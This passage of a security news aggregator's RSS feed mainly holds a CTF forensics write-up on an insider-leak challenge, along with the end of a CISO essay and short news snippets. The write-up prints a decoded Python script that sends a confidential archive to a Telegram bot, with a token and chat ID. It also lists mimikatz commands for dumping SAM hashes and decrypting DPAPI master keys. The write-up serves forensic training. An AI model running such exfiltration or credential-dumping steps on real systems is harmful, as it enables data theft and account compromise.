<li><strong>It compresses the timeline. </strong>Reconnaissance, exploitation, lateral movement and exfiltration that once unfolded over days now unfold in minutes. An emergency-room model assumes there is time between the symptom and the intervention. AI is closing that window. You cannot triage your way through an attack that completes before the triage begins.</li>



<li><strong>It industrializes the routine. </strong>AI makes competent attacks cheap and abundant — phishing that is grammatically perfect and contextually aware, deepfaked executives authorizing transfers, vulnerability discovery at machine scale. The reactive model assumes a manageable volume of meaningful events. AI removes that assumption.</li>



<li><strong>It introduces a new organ we do not know how to monitor. </strong>Every enterprise is now deploying AI systems into its own operations — including its security operations. These systems make decisions, take actions and carry risk. They are, in clinical terms, a new organ inside the body. And most organizations have deployed them with no intake assessment, no monitoring of their condition and no governance of their behavior. We have added an organ to the patient and never checked whether it is healthy.</li>
</ul>



<p>A reactive model has no answer to any of this. You cannot out-triage machine speed. The only viable response is to shift from reaction to health — to build the enterprise’s adaptive capacity before the crisis, not after.</p>



<h2 class="wp-block-heading">What a health model actually looks like</h2>



<p>This is the thinking behind the Clinical Cybersecurity Framework — a model I have developed over two decades in the CISO chair, and one that has resonated strongly enough with peers over the past months to convince me it is naming something the industry already feels.</p>



<p>The premise is simple. An enterprise should be treated less like static infrastructure and more like a living organism — and once leaders see that anatomy clearly, the entire security conversation changes.</p>



<p>Every enterprise has the same essential anatomy:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>ENTERPRISE SYSTEM</strong></td><td><strong>CLINICAL EQUIVALENT</strong></td></tr></thead><tbody><tr><td>Critical business services</td><td>Organs</td></tr><tr><td>Data flows</td><td>Circulatory system</td></tr><tr><td>Identity and access</td><td>Immune system</td></tr><tr><td>Infrastructure</td><td>Nervous system</td></tr><tr><td>Telemetry and monitoring</td><td>Vital signs</td></tr><tr><td>Incident response</td><td>Emergency medicine</td></tr><tr><td>Resilience and recovery</td><td>Rehabilitation</td></tr><tr><td>Governance</td><td>Clinical leadership</td></tr><tr><td>AI oversight</td><td>Autonomous clinical supervision</td></tr></tbody></table> </div></figure>



<p>This is not a metaphor for its own sake. It is an operating model, and it does three things a controls checklist cannot.</p>



<ol class="wp-block-list">
<li><strong>It makes diagnosis come before treatment. </strong>No competent clinician prescribes before examining. Yet cybersecurity routinely buys tools before it has assessed the patient. A health model requires a clinical intake first — an honest baseline of how the organization is actually functioning — and only then a treatment plan built for that specific patient.</li>



<li><strong>It makes health measurable and continuous. </strong>A patient’s vital signs are monitored continuously, against known healthy ranges, with the direction of movement mattering as much as the current value. A health model holds cybersecurity to the same standard: Not an annual audit snapshot, but continuous monitoring of the organization’s real condition.</li>



<li><strong>It gives every leader one shared question. </strong>A heart rhythm is universally legible — a clinician, an administrator and a frightened family member can all read the same monitor and grasp the same essential question: Is the rhythm steady, or is something wrong? Cybersecurity has never had that shared signal. Boards get threat counts and patch percentages; they do not get a pulse. A health model gives technologists, executives and directors one common language for the same reality.</li>
</ol>



<h2 class="wp-block-heading">Where this fits with the frameworks we already have</h2>



<p>This does not replace what works. It completes it.</p>



<p>NIST explains controls — the disciplined architecture of safeguards. MITRE explains adversaries — how attackers think and move. Both are essential. Neither was built to answer whether the organization, as a whole, is well.</p>



<p>NIST tells you whether the safeguards exist. MITRE tells you who is coming for them. A clinical model tells you whether the patient can withstand the encounter — and recover from it. That third question is the one AI is now asking with an urgency the industry has never faced. It is the missing layer, and it sits above the others, not against them.</p>



<h2 class="wp-block-heading">Why this matters for the CISO and the board</h2>



<p>Adopting a health model changes the CISO’s role and changes it for the better.</p>



<p>It moves the CISO out of the position of the technician who reports incidents and into the position of the clinician who reports condition. “Are we secure?” has no good answer. “Here is our organizational health, here are the vital signs trending the wrong way, here is the treatment plan and what it requires” — that is a conversation a board can actually govern with.</p>



<p>It also reframes resilience itself. Resilience is not the redundant infrastructure that restores data. Resilience, properly understood, is the process and outcome of adapting successfully to difficult conditions — through mental, emotional and behavioral flexibility. Backups restore data. Only adaptive people and well-governed systems restore an organization. A health model treats that adaptive capacity as something to be built and measured, not assumed.</p>



<p>And it gives the enterprise a way to think about AI that matches the stakes. If AI is a new organ, it requires what every organ requires: An intake assessment before deployment, continuous monitoring of its condition, defined operating boundaries and clinical-grade governance. AI deployed without that is not a capability. It is an unmonitored risk inside the body it was meant to protect.</p>



<h2 class="wp-block-heading">It’s time to stop running the emergency room</h2>



<p>The reactive era of cybersecurity is ending — not because it failed, but because it was never the whole job. We built a superb emergency room and mistook it for a healthcare system. AI is the force that has made the missing piece impossible to ignore.</p>



<p>The organizations that will lead the next decade will not be the ones with the most tools or the loudest alerts. They will be the ones that can answer a better question than “Are we secure?”</p>



<p>They will be the ones that can say, with evidence: We know how this organism is functioning. We are monitoring its vital signs. We are treating what the diagnosis revealed. And we are building the adaptive capacity to absorb what comes next.</p>



<p>It is time to stop running the emergency room and start practicing medicine.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Guardian view on the analogue resurgence: the shock of the old | Editorial]]></title>
<description><![CDATA[Long-abandoned formats such as cassettes and VHS tapes are finding new life as consumers seek a digital detoxTen years after the last video recorder manufacturer ceased production, the first straight-to-video movie for two decades – This Is How the World Ends – was released this month. The resurg...]]></description>
<link>https://tsecurity.de/de/3592803/it-nachrichten/the-guardian-view-on-the-analogue-resurgence-the-shock-of-the-old-editorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592803/it-nachrichten/the-guardian-view-on-the-analogue-resurgence-the-shock-of-the-old-editorial/</guid>
<pubDate>Fri, 12 Jun 2026 09:50:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Long-abandoned formats such as cassettes and VHS tapes are finding new life as consumers seek a digital detox</p><p>Ten years after the last video recorder manufacturer ceased production, <a href="https://www.theguardian.com/film/2026/jun/04/roberto-dos-santos-on-directing-the-first-straight-to-vhs-movie-in-20-years">the first straight-to-video movie</a> for two decades – This Is How the World Ends – was released this month. The resurgence of vinyl began long ago; sales are at their highest level <a href="https://www.bbc.co.uk/news/articles/cd6ll93xdplo">for over 30 years</a>. But record buyers enthuse about the warmth of their sound and the generous visual expanse of album covers. In contrast, the new movie is shot in HD; the director acknowledges that those watching it on video will see a cropped, fuzzier image. The point of the exercise – beyond creating a buzz – lies not in the inherent qualities of VHS, but the effect of its rarity on the viewer.</p><p>When everything is available in high definition with one swipe of your screen, cumbersome physical formats that must be hunted down appear both nostalgically inviting and strikingly fresh. Last year, Taylor Swift’s The Life of a Showgirl was released in <a href="https://www.independent.co.uk/arts-entertainment/music/taylor-swift-life-of-showgirl-versions-albums-fans-b2850438.html">multiple physical formats</a>, including <a href="https://theconversation.com/cassette-tapes-are-making-a-comeback-yes-really-268108">cassette</a> and CD – technically digital, but also enjoying a <a href="https://www.theguardian.com/music/article/2024/jul/28/cd-sales-rise-taylor-swift-collection-nostalgia-90s-oasis-bashy-metronomy-kitty-liv">revival</a> thanks to its retro feel. The title track of her previous album, The Tortured Poets Department, mocked a lover’s attachment to his typewriter, notoriously favoured by hipsters.</p> <a href="https://www.theguardian.com/commentisfree/2026/jun/11/the-guardian-view-on-the-analogue-resurgence-the-shock-of-the-old">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Recovering a Forgotten Password in a Self-Hosted n8n Docker Deployment]]></title>
<description><![CDATA[Learn how to recover complete access to a self-hosted n8n Docker deployment when password reset emails fail.Continue reading on InfoSec Write-ups »]]></description>
<link>https://tsecurity.de/de/3592758/hacking/recovering-a-forgotten-password-in-a-self-hosted-n8n-docker-deployment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592758/hacking/recovering-a-forgotten-password-in-a-self-hosted-n8n-docker-deployment/</guid>
<pubDate>Fri, 12 Jun 2026 09:33:48 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/recovering-a-forgotten-password-in-a-self-hosted-n8n-docker-deployment-251e073757f5"><img src="https://cdn-images-1.medium.com/max/1462/1*z24QRl574KDzKav61cncLg.png" width="1462"></a></p><p class="medium-feed-snippet">Learn how to recover complete access to a self-hosted n8n Docker deployment when password reset emails fail.</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/recovering-a-forgotten-password-in-a-self-hosted-n8n-docker-deployment-251e073757f5">Continue reading on InfoSec Write-ups »</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[IEEE Victoris 4.0 — CTF 2025 — Quals DFIR Challenges]]></title>
<description><![CDATA[IEEE Victoris 4.0 — CTF 2025 —Quals DFIR ChallengesHi, I’m glad to share with you my writeup for getting first blood in 2/2 DFIR challenges.First Challenge: “the Frontdoor” FIRST BLOOD🩸in this challenge, we have a linux disk image, we need to investigate it to get the correct answer. reading the ...]]></description>
<link>https://tsecurity.de/de/3592750/hacking/ieee-victoris-40-ctf-2025-quals-dfir-challenges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592750/hacking/ieee-victoris-40-ctf-2025-quals-dfir-challenges/</guid>
<pubDate>Fri, 12 Jun 2026 09:33:33 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>IEEE Victoris 4.0 — CTF 2025 —Quals DFIR Challenges</h3><p>Hi, I’m glad to share with you my writeup for getting first blood in 2/2 DFIR challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*r7vTPHgC_0t6kAXxFx3N3w.png"></figure><p>First Challenge: “the Frontdoor” <strong>FIRST BLOOD</strong>🩸</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*3HO6z-6mliIaDQWTDIdYQA.png"></figure><p>in this challenge, we have a linux disk image, we need to investigate it to get the correct answer. reading the bash history or “.zsh_history” we can view that there’s a lot of file navigations commands, and Git activity in “MyProject” which located in /home/Documents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*F4F7ja4jNJLXS8fvZVKJaQ.png"></figure><p>also, while i was digging around all linux files, i found an xml file “recently-used.xml” located in “/home/kali/.local/share/recently-used.xml”. this xml tracks that he opened /home/kali/Documents/MyProject/.git/config file using Mousepad and Thunar “kali linux gui”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ohWftXZJyRAjWf0oFxuMaw.png"></figure><p>so, configfile will be first file to check in MyProjectdirectory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*UyQzYFMbtxYv-QzRQDDicQ.png"></figure><p>we can see there’s a beautiful base64 encoded that contains our flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*aCdLTbSVud0hl10YXYp-yA.png"></figure><pre>IEEE{192.168.213.68:3421}</pre><p>Second Challenge: “<strong>Lay-off</strong>” <strong>FIRST BLOOD</strong>🩸</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*TTZ1qGQeR4PTvxxgYHpGxA.png"></figure><p>this one was so challenging, we got 14 questions that needs to be answered correctly to get our very precious flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHHnZbOj_KAfLcWu4z6BiA.png"></figure><pre>=== Question Menu ===<br>Unanswered:<br>  1) What is the full name of the employee who sent the email?<br>  2) When was QR Tag company founded? (format: year)<br>  3) What website did the developer log into at 2025-09-18 17:56:51?<br>  4) what was the first thing the developer looked for after receiving the email?<br>  5) The developer created a compressed archive to leak confidential information about QR Tag company. What was it's name?<br>  6) Can you determine the number of files have been leaked?<br>  7) When did this archive get deleted?<br>  8) The developer contacted some buyers on telegram dark markets to sell some of QR Tag's confidential information. What utility did he use to send the data?<br>  9) What is the bot token and chat id used in the script? (format: bot_token:chat_id)<br>  10) Which telegram API did the developer use to send the archive to the bot?<br>  11) What is the username and password of the database used in QR Tag website? (format: username:password)<br>  12) What version of express did the developer use?<br>  13) What service will the QR Tag partnership provide?<br>  14) The developer used a security feature to securely encrypt a secret file. Can you determine what he was trying to hide?</pre><p>we have a windows disk image, and an email :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*JVkqWJkKf_TmjOvMphJKAA.png"></figure><pre>1) What is the full name of the employee who sent the email?</pre><p>open the email with thunderbird, you'll find the correct answer easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJSzHFWHv0nobrFxeZE8ag.png"></figure><pre>1) What is the full name of the employee who sent the email? --&gt; Huda Ahmed</pre><pre>2) When was QR Tag company founded? (format: year)</pre><p>with an online research on linkedin, we'll find in image with same name located in Egypt, Ismailia.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bh6y9oU10XLNDQlznyb9xQ.png"><figcaption><strong>challenge author follows this page</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/186/1*KC82e8NCoIrYFGklYoZ-6g.png"></figure><pre>2) When was QR Tag company founded? (format: year) --&gt; 2024</pre><pre>3) What website did the developer log into at 2025-09-18 17:56:51?</pre><p>“<strong>log into</strong>” , by checking the Microsoft edge History database, which located in: C:\Users\&lt;username&gt;\AppData\Local\Microsoft\Edge\User Data\&lt;Profile&gt;\History</p><p>in urls table, sort them by time and go to the following website to decode the time:</p><p><a href="https://www.epochconverter.com/webkit">WebKit/Chrome Timestamp Converter</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKNUs9pqA2WuXvtYIal1sQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*MbwVthWRGbeoiIkgWsUwUA.png"><figcaption><strong>time is perfectly correct</strong></figcaption></figure><pre>3) What website did the developer log into at 2025-09-18 17:56:51?<br>   Answer: www.qrtagapp.com</pre><pre>4) what was the first thing the developer looked for after receiving the email?</pre><p>using thunderbird, open the email with message source, or open the email with any text editor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*E4Gsez-x9XrpnbP_zrk-NA.png"></figure><p>so, the correct time must be “<strong>2025–09–19 00:08:59</strong>” in GMT +3</p><p>now let’s find anything intresting, but in the history database of firefox, located in: C:\Users\&lt;username&gt;\AppData\Roaming\Mozilla\Firefox\Profiles\&lt;profile folder&gt;\places.sqlite</p><p>you'll find that, the most recent search after the email was send was all these searches in “<strong><em>moz_places</em></strong>” table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*357pilL9LM4ujk4fa3LMbw.png"></figure><pre>4) what was the first thing the developer looked for after receiving the email?<br>   <br>   Answer: telegram leaks channels</pre><pre>5) The developer created a compressed archive to leak confidential information about QR Tag company. What was it's name?</pre><p>this was a little dizzy, but what i did was parsing the prefetch files with PECMD <a href="https://ericzimmerman.github.io/#!index.md"><strong>here</strong></a>, and see if there any zip, rar, 7z, gz and so on.</p><p>And yes, i found the prefetch data for using 7z.exe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*ja5aSOG_bDC_wKy2dJj36A.png"></figure><p>now let’s check for all files referenced, we can see a 7z file located on MHANY’s desktop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*RrvUM43PjOtLcotdMysp1w.png"></figure><pre>5) The developer created a compressed archive to leak confidential information about QR Tag company. What was it's name?<br>   CONFIDENTIAL.7Z</pre><pre>6) Can you determine the number of files have been leaked?</pre><p>that’s so simple, in the prefetch we did parse we can view all files that was compressed and have been leaked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ta5ol6w7Sdnpq_GOStubZg.png"></figure><p>just count all files below CONFIDENTIAL.7Z file:</p><pre>6) Can you determine the number of files have been leaked? --&gt; 11</pre><pre>7) When did this archive get deleted?</pre><p>parsing the $J file with MFTECMD <a href="https://ericzimmerman.github.io/#!index.md"><strong>here</strong></a>, which located inC:\$Extend\$J<br>to see all File creation, deletion, renaming timestamps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNw6Ri4X0W-n-ReIizk3Og.png"></figure><p>we got the deleted timestamp correctly, 9/19/2025 8:05:17 AM GMT 0.</p><p>convert it to the correct format for the flag answer, and add 3 hours to become GMT +3 as the Local Egyptian Time, then subtract 1 sec.</p><pre>7) When did this archive get deleted?<br>   Answer: 2025-09-19 11:05:16</pre><pre>8) The developer contacted some buyers on telegram dark markets to sell some of QR Tag's confidential information. What utility did he use to send the data?</pre><p>this question needs deep investigation, and a good eyesight to catch malicious scripts. found a python file in temp called botscript.py full path: C:\Users\mhany\AppData\Local\temp\botscript.py that contains a too long base64 encoded string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e9zheBLyZA4DxXRjyr_TkA.png"></figure><p>it’s not just encoded, it’s reversed. And that’s because of this:</p><pre>b64decode(__[::-1]);</pre><p>so let's reverse it first, and decode the base64 <a href="https://gchq.github.io/CyberChef/#recipe=Reverse('Character')From_Base64('A-Za-z0-9%2B/%3D',true,false)&amp;input=cFFIZWxSbkxsTm5idkIzY2xKSElzSWlPeTltY3lWa0lvUW5icEpIY2dBQ0lnb1FENlUyY3NWbUNOa2lJNXhHYjFaMmN6VjJZalYzY2dRbmJsTkhJbHhXYUdKQ0swNVdheUJISWdBQ0lLMGdPd0FqTWcwVFBnVUdadk4yWHpWSGRoUjNjdVUyY3U5R2N6Vm1jZ1lXYUswZ0NOa1NmbUJpT2lRbmJsMVdkajlHWmlzWFB6VkdicFpHSXMwWE14d1dTSkZEYnNsVU1nb2pJa2wyWDBGR2FqSnllOUVHZGhSR0lzd21jMWhDZHo5R2N1TUhkelZXZHhWbWNnMERJbE5uYnZCM2NsSkhJZ0FDSUswZ09tQnljaEJTS2lJbWNpQUNMSmxVTXN4V01KbFVNc2hpYmxCM2JnZ0dkcGRuQ05vUURpUW5ibDFXZGo5R1JrNVdaejlTZnh3V1NKeEdieEVUU3NGVFM3UjNiaTl5Wnk5bUx0Rm1jblZHYmxSbkxwQlhZdjhpT3pCSGQwaG1JbUJTUGd3bWMxcFFEbm8zTnV3V1lwUm5ibFJXYW01MmJEeEZjdlIzYXpWR1JjbG5iaGhXYmNObmNsTlhWY3B6UW5JSEk5QVNTSkZEYnNGVFNKRkRiSzBnSTVFVE55QUROeEl6TTFJQ0k5QVNNeHdXU0pGRGJzbFVNSzBnSTNSWFpySmtSZlptVWlCMVNpdDJWMzVHY2xwMFFFdEVjbEoxVG9OR2Q0SlhSQkZrT3dFRE0zSXpNMUlqTTRJQ0k5QVNNc2xVU3N4V014a0VieGtrQ05vUUR6UjNjbFZYY2xKSEkwSjNidzFXYQ&amp;oeol=CRLF"><strong>here</strong></a></p><pre>import requests<br><br>I1lI11llIIl1 = "8225327010:AAErxtchORepKDCJepnwWkbKPbRf_FBketw"<br>1Ill1IIl11 = "5321402519"<br>l1II1ll1II = r'C:\Users\mhany\Desktop\Confidential.7z'<br>url = f"https://api.telegram.org/bot{I1lI11llIIl1}/sendDocument"<br><br>with open(l1II1ll1II, "rb") as f:<br>    response = requests.post(url, data={"chat_id": 1Ill1IIl11}, files={"document": f})<br><br>if response.status_code == 200:<br>    print("File sent successfully")<br>else:<br>    print("Error:", response.text)</pre><p>so, he sends the data over telegram bot using a python script</p><pre>8) The developer contacted some buyers on telegram dark markets to sell some of QR Tag's confidential information. What utility did he use to send the data?<br>   Answer: python</pre><pre>9) What is the bot token and chat id used in the script? (format: bot_token:chat_id)<br>10) Which telegram API did the developer use to send the archive to the bot?</pre><p>from the decoded base64 text we can answer these 2 questions easily</p><pre>import requests<br><br>I1lI11llIIl1 = "8225327010:AAErxtchORepKDCJepnwWkbKPbRf_FBketw"<br>1Ill1IIl11 = "5321402519"<br>l1II1ll1II = r'C:\Users\mhany\Desktop\Confidential.7z'<br>url = f"https://api.telegram.org/bot{I1lI11llIIl1}/sendDocument"<br><br>with open(l1II1ll1II, "rb") as f:<br>    response = requests.post(url, data={"chat_id": 1Ill1IIl11}, files={"document": f})<br><br>if response.status_code == 200:<br>    print("File sent successfully")<br>else:<br>    print("Error:", response.text)</pre><p>simple python script. Read, Understand, Answer.</p><pre>9) What is the bot token and chat id used in the script? (format: bot_token:chat_id)<br>Answer: 8225327010:AAErxtchORepKDCJepnwWkbKPbRf_FBketw:5321402519<br><br>10) Which telegram API did the developer use to send the archive to the bot?<br>Answer: /sendDocument</pre><pre>11) What is the username and password of the database used in QR Tag website? (format: username:password)</pre><p>since he is asking for the username, and password for the QR Tag website.</p><p>we can see there’s QRTag Portaldirectory on mhany’s desktop, that contains 2 other subdirectories (Backend &amp;Frontend). checking the Backend directory, we can find .envfile with absolute path: C:\Users\mhany\Desktop\Work\QR Tag\QRTag Portal\Backend\.env</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*VOfYl_GaLcGcO_LEqprNXg.png"></figure><pre>11) What is the username and password of the database used in QR Tag website? (format: username:password)<br>Answer: H4ny:P@ssw0rd!</pre><pre>12) What version of express did the developer use?</pre><p>In the same Backend directoryC:\Users\mhany\Desktop\Work\QR Tag\QRTag Portal\Backend we'll find package.json file that holds the correct answer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*03OyPQ3xqNlhS6BK7U5UZA.png"></figure><pre>12) What version of express did the developer use?<br>Answer: 4.19.2</pre><pre>13) What service will the QR Tag partnership provide?</pre><p>checking the Docs directory which located in: C:\Users\mhany\Desktop\Work\QR Tag\Docs\ we can see there’s a pdf file calledpartnership_agreement.pdf “<strong>partnership</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*jQqQBzau5WjDvClCpWZomQ.png"></figure><pre>13) What service will the QR Tag partnership provide?<br>Answer: identity verification and fraud prevention</pre><pre>14) The developer used a security feature to securely encrypt a secret file. Can you determine what he was trying to hide?</pre><p>Now, for the last juicy part.</p><p>in question 13, we could answer it with PDF file located in C:\Users\mhany\Desktop\Work\QR Tag\Docs\ directory.</p><p>So, while i was checking all other documents files, i found a file called <strong>finance.xlsx </strong>with a very strange magic bytes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*_QngmJL0MUNTrhdsO8sVcw.png"><figcaption><strong>finance.xlsx</strong></figcaption></figure><p>of course, it’s not the traditional hex values for an excel file. to be more clearer, there’s an another excel file called <strong>user_accounts.xlsx</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*adUoqSwT8MTYHsfisagBFA.png"><figcaption><strong>user_accounts.xlsx</strong></figcaption></figure><p>See the difference!!!! <strong>finance.xlsx </strong>is definitely not an excel sheet file.</p><p>So, the question now, what it is actually ?</p><p>and the question says “<em>The developer used a security feature to securely encrypt a secret file</em>”.</p><p>so this file is encrypted with a windows security feature i guess!!</p><p>if we did a quick research on the magic bytes on google <strong>01 00 00 00 D0 8C</strong>, we can definitely get to the point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*w8gjA9AesdtPRXeFAO-oaQ.png"><figcaption><strong>DPAPI</strong></figcaption></figure><p>also i did a very weird research, i uploaded the excel file on VirusTotal <a href="https://www.virustotal.com/gui/file/bfeddbd77a68f15e5489b851235c0c00e822f54446bf716309d35b6b44e30a33/details"><strong>link </strong></a>(first one to upload this file) and by reading Details section, we can definitely make sure that this file contains DPAPI encrypted data (100%)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*FEHuTsyLcDXhvTlUPkK_Zw.png"></figure><ol><li>we need to recover the DPAPI masterky to decrypt the file data.</li></ol><p>2. and to do recover the DPAPI masterkey, we need to decrypt the masterkey file. location: C\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Protect\&lt;SID&gt;\&lt;GUID&gt;</p><p>3. and to decrypt the masterkey file, we need to recover the logon password for the user “mhany”</p><p>4. and to recover the logon password for this user, we need to decrypt <strong>SAM </strong>registry hive that contains the local account password hashes.</p><p>5. and to decrypt the <strong>SAM</strong> registry hive, we will need also the<strong>SYSTEM</strong>hive<br>which both are located in : C\Windows\System32\config\ directory</p><p>now we know what to do, let’s dig in using mimikatz “<a href="https://github.com/ParrotSec/mimikatz"><strong>link</strong></a>”. running mimikatx .exe file with administrative powershell, then use these commands</p><pre>privilege::debug  #Enables mimikatz to read protected data.<br><br>lsadump::sam /system:&lt;SYSTEM Hive path&gt;/sam:&lt;SAM Hive path&gt;  </pre><p>reading the output, remember we are looking for NTLM hash for mhanyuser only</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/1*JfJNV72Qx6C0W85kkth7gA.png"></figure><p>using rainbow-table attack with <a href="https://crackstation.net/"><strong>crackstation</strong></a><strong> </strong>we can get the actual password for this hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*875TmuY5AXqNZCopsBFpOQ.png"><figcaption><strong>credentials</strong></figcaption></figure><p>now we get the logon password, let’s recover the master key by decrypting the masterkey file. with mimikatz again, we can use these commands</p><pre>sekurlsa::lgonpasswords   # Because we already have the logon password<br><br>dpapi::masterkey /in:"path to: C\Users\mhany\AppData\Roaming\Microsoft\Protect\&lt;SID&gt;\&lt;GUID&gt;" /password:"credentials"</pre><p>now we can get the decrypted master key in hex.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXyi9YeGe-Ncpq76Mz4sVw.png"></figure><p>final step, is to finally decrypt the encrypted finance.xlsx<strong> </strong>file with the key</p><pre>dpapi::blob /in:"path to C:\Users\mhany\Desktop\Work\QR Tag\Docs\finance.xlsx" /masterkey:"d96486156b7651c31945791790941b62f180d198c06966e7e9568d594375c760cf528e6bf55a3bd6dc1bec079b38cbb569a222444ffce861b71a61330ddd1"</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*qhpnzdCAvttlY2pf8U0OMA.png"><figcaption><strong>FINALLY</strong></figcaption></figure><p>lets decode this encoded base64 data with cyberchef “<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&amp;input=ZFhNeGJtZGZiVFJ6ZEROeVgyc3plVjkwTUY5a00yTnllWEIwWDBSUVFWQkpYMlZ1WTNKNWNIUXpaRjl6TTJOeU0zUno"><strong>link</strong></a>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*eCpSy434mV-LpDgh57IOVg.png"><figcaption>OMG!</figcaption></figure><pre>14) The developer used a security feature to securely encrypt a secret file. Can you determine what he was trying to hide?<br>Answer: us1ng_m4st3r_k3y_t0_d3crypt_DPAPI_encrypt3d_s3cr3ts</pre><p>now we can submit all answers and get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lGNgwO5Dahi9uwAaHJqp4g.png"></figure><pre>IEEE{Ins1d3r_Thr34t_0r_Just_A_Mad_Dev3l0per}</pre><h4>Thanks For Reading, Hope you enjoyed❤️</h4><p>Keep in touch with me via:</p><p><a href="https://www.linkedin.com/in/loay-salah"><strong>LinkedIn</strong></a></p><p><strong>Discord</strong>: prankster99</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=3b49a1afe7f6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/ieee-mansb-ctf-2025-dfir-writeup-3b49a1afe7f6">IEEE Victoris 4.0 — CTF 2025 — Quals DFIR Challenges</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[163 Organizations Hit by Thai Gambling SEO Poisoning Campaign]]></title>
<description><![CDATA[A large-scale Thai gambling SEO poisoning operation has compromised 163 organizations across more than 30 countries by exploiting abandoned cloud DNS delegations, according to research from Cyble Research & Intelligence Labs (CRIL).  

The ongoing SEO poisoning campaign has affected government ...]]></description>
<link>https://tsecurity.de/de/3592733/it-security-nachrichten/163-organizations-hit-by-thai-gambling-seo-poisoning-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592733/it-security-nachrichten/163-organizations-hit-by-thai-gambling-seo-poisoning-campaign/</guid>
<pubDate>Fri, 12 Jun 2026 09:32:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1101" height="614" src="https://thecyberexpress.com/wp-content/uploads/SEO-poisoning.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="SEO poisoning" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/SEO-poisoning.webp 1101w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-750x418.webp 750w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning.webp 1101w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/SEO-poisoning-750x418.webp 750w" sizes="(max-width: 1101px) 100vw, 1101px" title="163 Organizations Hit by Thai Gambling SEO Poisoning Campaign 1"></p><span data-contrast="auto">A large-scale Thai gambling SEO poisoning operation has compromised 163 organizations across more than 30 countries by exploiting abandoned cloud DNS 